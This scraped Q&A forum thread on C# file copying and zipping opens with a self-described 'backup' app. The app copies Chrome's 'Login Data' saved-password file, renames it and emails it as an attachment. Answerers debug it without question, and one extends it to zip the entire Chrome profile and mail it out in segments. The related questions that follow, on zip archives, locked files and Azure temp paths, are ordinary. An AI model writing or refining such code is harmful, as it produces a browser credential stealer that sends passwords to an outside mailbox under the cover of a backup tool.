i'm writing a little C# application which backups my files periodically.
Now i encountered an issue cause of this File.Copy method not overwriting the already existing "Login File.txt" :
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
DirectoryInfo chrome = new DirectoryInfo(Local + #"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + #"\Google\Chrome\User Data\Default\Login Data", local + #"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + #"\Google\Chrome\User Data\Default\Login Data.txt"));
}
I use the copy method cause seems that i cannot grab that file with no extension in my code, so i decided to use this turnaround and convert to a .txt file so i can properly attach to my email.
However, i'm using this method: https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx cause it allows to overwrite the destination files but seems this doesn't happen and my application stop sendign the backups cause of this.
I can affirm this is the issue since if i comment that part of code everything runs smoothly.
What am i doing wrong here?
Thanks for your answers in advance.
check the parameters you give to the File.Copy(). It seems that the first parameter is not a file but a folder:
Local + #"\Google\Chrome\User Data\Default\Login Data"
You are trying to mail a complete folder of (in my case) over 400mb. Your approach should be: copy the content (if there is a folder) to a temp folder. compress it in archives of less than 10mb each and mail your archive collection.
In my case this would be about 50 e-mails:
You can use the dotnetzip https://dotnetzip.codeplex.com/
nuget package:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + #"\Google\Chrome\User Data\Default";
DirectoryInfo chrome = new DirectoryInfo(local);
if (chrome.Exists)
{
using (ZipFile zip = new ZipFile())
{
string[] files = Directory.GetFiles(local);
zip.AddFiles(files);
zip.MaxOutputSegmentSize = 10 * 1024 * 1024 ; // 10 mb
zip.Save(local + "/test.zip");
for(int i = 0; i < zip.NumberOfSegmentsForMostRecentSave; i++)
{
MailMessage msg = new MailMessage("from#from.com", "to#to.com", "subject", "body");
// https://msdn.microsoft.com/en-us/library/5k0ddab0%28v=vs.110%29.aspx
msg.Attachments.Add(new Attachment(local + "/test.z" + i.ToString("00"))); //format i for 2 digits
SmtpClient sc = new SmtpClient();
msg.Send(sc); // you should also make a new mailmessage for each attachment.
}
}
}
from: https://stackoverflow.com/a/12596248/169714
and from: https://stackoverflow.com/a/6672157/169714
In your code, the you check if the file with path "Local" exists and then copy the path with "local". Using the debugger, you can inspect the value of "Local" and see if it's different than "local". The code below could work:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
// ** Note in your example "local" is capitalized as "Local"
DirectoryInfo chrome = new DirectoryInfo(local + #"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + #"\Google\Chrome\User Data\Default\Login Data", local + #"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + #"\Google\Chrome\User Data\Default\Login Data.txt"));
}
Related
I have the following lines of code that work for creating a zip using ZipFile.CreateFromDirectory(selectedFile, zipPath)
if (selectedFolder == string.Empty)
{
Console.WriteLine("Invalid folder, try again");
}
else
{
Console.WriteLine("\nSelect zipfile name: ");
var zipName = Console.ReadLine();
// Also available: extractToDirectory
var zipPath = #"C:\Users\User\Documents\Dev\" + zipName + ".zip";
ZipFile.CreateFromDirectory(selectedFolder, zipPath);
However, the following code which should for all intents and purposes do the same thing except for multiple files being archived into a single zip folder refuses to work:
public static void CreateZipFile(string folderToCreateZip, IEnumerable<string> files)
{
var zipPath = folderToCreateZip + "\\test6.zip";
// Create a new ZIP in this location
using (var zip = ZipFile.Open(zipPath, ZipArchiveMode.Create))
{
foreach (var file in files)
{
// Add entry for files
zip.CreateEntryFromFile(file, zipPath, CompressionLevel.Optimal);
}
}
// Dispose of zip object after files have been zipped
//zip.Dispose();
}
var zip == ZipArchive zip
I've tried disabling read-only mode on the folders where the zip should get created, but I don't think this matters since the prior function with CreateFromDirectory() works fine. I've also tried creating a ZIP on desktop, but I get the same error.
This is the exception I'm getting:
As a note, I noticed that it does initially create the zip despite this error, just that it cannot add anything to it unlike CreateFromDirectory() can due to the folder either being in use, no permissions to that area or the folder already existing. Is there a way I can get CreateEntryFromFile() working or an alternative that would work for multiple files?
I had the same problem. The solution was post the full path name at the destinationArchiveFileName parameter (and also a write alowed path). For example c:\my apps folder\my app\my temp\zipfile.zip
I'm using c#. I'm receiving an error about a path is currently accessed by other processes. What my system is trying to do is to access the path: #"C:\temps\" + client_ids + "_" + rown + ".pdf" and use the same path for attachment before sending it to client's email.
here's what I've done so far. I comment out some of my code because I'm not sure what to do.
FileStream fs = null;
using (fs = new FileStream(#"C:\\temps\\" + client_ids + "_" +
rown + ".pdf",
FileMode.Open,FileAccess.Read,FileShare.ReadWrite))
{
TextReader tr = new StreamReader(fs);
//report.ExportToDisk
//(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat,tr);
//report.Dispose();
//Attachment files = new Attachment(tr);
//Mailmsg.Attachments.Add(files);
//Clients.Send(Mailmsg);
}
you can make temp copy of file before you use it in mail attachment and then use the copy instead of the original file
You cannot attach a file to an email if that file is open. You must close (save) the file first.
While #ali answer is technically correct, it is unnecessary. Why go through the overhead of creating a copy of the file which then needs to be deleted, etc.?
Assuming I understand what you are trying to do correctly, simply move your code for mail to after the file is successfully created and saved. And, I don't think you need the overhead of either the filestream or the textreader. As long as your report object can save the file to disk someplace, you can attach that file to your email message and then send it.
While I do not claim to know anything about how Crystal Decisions handles exports, etc. Perhaps something like this would work:
(I got this code from: https://msdn.microsoft.com/en-us/library/ms226036(v=vs.90).aspx)
private void ExportToDisk (string fileName)
{
ExportOptions exportOpts = new ExportOptions();
DiskFileDestinationOptions diskOpts =
ExportOptions.CreateDiskFileDestinationOptions();
exportOpts.ExportFormatType = ExportFormatType.RichText;
exportOpts.ExportDestinationType =
ExportDestinationType.DiskFile;
diskOpts.DiskFileName = fileName;
exportOpts.ExportDestinationOptions = diskOpts;
Report.Export(exportOpts);
}
You will need to change the ExportFormatType property.
Then, simply attach the file to your email and send:
Attachment Files = new Attachment(filename);
Mailmsg.Attachments.add(files);
Clients.Send(Mailmsg);
I've started to encounter a problem with File.Copy. This works fine for my data creation script, managing to duplicate thousands of files with no issues. My problem occurs when trying to create temp files later in my code.
I have added the code sample below that isn't working correctly. I've tried numerous different ways to try to resolve this to no avail. What I am doing is copying some user data files created in a directory on the C drive into a temp folder inside that user data folder.
Code
foreach (string originalFile in OriginalDataFileNames)
{
string tempFile = originalFile;
TempDataFiles.Add(tempFile);
Console.WriteLine("GlobalDataCtrl: Original Data File: " + XWSDataDirectory + "\\" + tempFile);
Console.WriteLine("GlobalDataCtrl: Saved Temp Data File: " + tempPath + "\\" + tempFile);
File.Copy(XWSDataDirectory + "\\" + originalFile, tempPath + "\\" + tempFile);
}
Exit Error
The program '[6256] XtremeWrestlingSim.vshost.exe' has exited with code -1073741819 (0xc0000005) 'Access violation'.
Any help is appreciated, thanks in advance!
SOLUTION:
FileStream outputFS = null;
FileStream inputFS = null;
outputFS = new FileStream(tempPath + "\\" + tempFile, FileMode.CreateNew, FileAccess.ReadWrite);
using (inputFS = new FileStream(XWSDataDirectory + "\\" + originalFile, FileMode.Open))
{
inputFS.CopyTo(outputFS);
}
outputFS.Close();
inputFS.Close();
Not sure how nicely formatted this is, but it works. Replace File.Copy with the above code.
You are using File.Create just before you call File.Copy, I think that is the issue, it is leaving an open stream.
Maybe removing the File.Create call will solve the issue. If not you could get the returned value (which is a stream) and close it before trying to copy.
The file is opened with read/write access and must be closed before it can be opened by another application.
See remarks https://msdn.microsoft.com/en-us/library/ms143361(v=vs.110).aspx
DirectoryInfo di = Directory.CreateDirectory(precombine); // I am creating a new directory.
BinaryWriter write = new BinaryWriter(File.Open(di.FullName, FileMode.Create)); // I want to open a file in it
write.Write(buffer); // and then I want to write in it.
However, I get an error of not to have any permission to write in it. How can I create a new directory for a user and then write the data of the user in it ? Thanks.
Looks like you may be missing the filename - "di.FullName" will give the full pathname of the directory you have created - File.Open needs a file name.
BinaryWriter write = new BinaryWriter(File.Open(Path.Combine(di.FullName, <FILE NAME HERE>), FileMode.Create));
In your code, File.Open will be attempting to create a file with the same name as the directory you have just created - so you don't have permission.
If you have trouble writing authority "run as Administrator "
string rootPath = #"C:\FileSystem\";
string fileName = "data.txt";
if (!Directory.Exists(rootPath))
Directory.CreateDirectory(rootPath);
File.AppendAllText(Path.Combine(rootPath , fileName), "Test");
File.AppendAllText(Path.Combine(rootPath , fileName), "Test2");
For a bottom row > Environment.NewLine > \n
File.AppendAllText(Path.Combine(rootPath , fileName), "Test2"+Environment.NewLine);
I am using a free MS Azure virtual webserver for my site.
On my dev machine I can successfully create a CSV file, save it to a relative temp directory, and then download it to the browser client.
However, when I run it from the Azure site, I get the following error:
System.IO.DirectoryNotFoundException: Could not find a part of the
path 'D:\home\site\wwwroot\temp\somefile.csv'.
Does the free version of Azure Websites block us from saving files to disk? If not, where are we allowed to create/save files that we generate on the fly?
Code Example
private FilePathResult SaveVolunteersToCsvFile(List<Volunteer> volunteers)
{
string virtualPathToDirectory = "~/temp";
string physicalPathToDirectory = Server.MapPath(virtualPathToDirectory);
string fileName = "Volunteers.csv";
string pathToFile = Path.Combine(physicalPathToDirectory, fileName);
StringBuilder sb = new StringBuilder();
// Column Headers
sb.AppendLine("First Name,Last Name,Phone,Email,Approved,Has Background Check");
// CSV Rows
foreach (var volunteer in volunteers)
{
sb.AppendLine(string.Format("{0},{1},{2},{3},{4},{5},{6}",
volunteer.FirstName, volunteer.LastName, volunteer.MobilePhone.FormatPhoneNumber(), volunteer.EmailAddress, volunteer.IsApproved, volunteer.HasBackgroundCheckOnFile));
}
using (StreamWriter outfile = new StreamWriter(pathToFile))
{
outfile.Write(sb.ToString());
}
return File(Server.MapPath(virtualPathToDirectory + "/" + fileName), "text/csv", fileName);
}
Make sure that the ~/temp folder gets published to the server, as it's possible your publish process isn't including it.
Azure Websites provide environment variables that you can use to get to things like a temporary storage folder. For example, there is a "TEMP" variable you could access to get a path to the TEMP folder specific to your Website.
Change line 2 in your method to this:
//string physicalPathToDirectory = Server.MapPath(virtualPathToDirectory);
string physicalPathToDirectory = Environment.GetEnvironmentVariable("TEMP");
Then change the last line to this:
//return File(Server.MapPath(virtualPathToDirectory + "/" + fileName), "text/csv", fileName);
return File(pathToFile, "text/csv", fileName);